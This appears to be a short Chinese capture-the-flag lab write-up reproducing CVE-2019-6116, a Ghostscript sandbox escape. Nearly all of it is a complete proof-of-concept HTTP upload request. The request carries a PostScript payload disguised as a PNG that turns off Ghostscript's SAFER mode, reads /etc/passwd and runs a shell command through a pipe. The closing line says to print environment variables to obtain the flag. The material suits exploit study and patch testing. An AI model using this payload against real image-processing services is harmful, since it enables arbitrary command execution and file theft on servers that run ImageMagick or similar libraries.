漏洞描述
2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。
GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。
漏洞复现
上传一个图片
执行命令id > /tmp/success && cat /tmp/success
poc
POST / HTTP/1.1
Host: node4.buuoj.cn:28158
Content-Length: 2761
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node4.buuoj.cn:28158
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys13cRQYwUnOweCS8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://node4.buuoj.cn:28158/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarys13cRQYwUnOweCS8
Content-Disposition: form-data; name="file_upload"; filename="22.png"
Content-Type: image/png
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
(Stage 11: Exploitation...)=
/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
% update
save restore
% All done.
stop
} def
errordict /typecheck {
/typecount typecount 1 add def
(Stage 10: /typecheck #)=only typecount ==
% The first error will be the .knownget, which we handle and setup the
% stack. The second error will be the ifelse (missing boolean), and then we
% dump the operands.
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { (unexpected)= quit } if
} put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/typecount 0
/PDFfile { (Stage 0: PDFfile)= currentfile }
/q { (Stage 1: q)= } % no-op
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
/gput { (Stage 5: gput)= } % no-op
/resolvestream { (Stage 6: resolvestream)= } % no-op
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict)=
% cause a /typecheck error we handle above
true
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
(Attempting to execute a shell command...)= flush
% run command
(%pipe%id > /tmp/success && cat /tmp/success) (w) file closefile
(All done.)=
quit
------WebKitFormBoundarys13cRQYwUnOweCS8--
打印环境变量,获得flag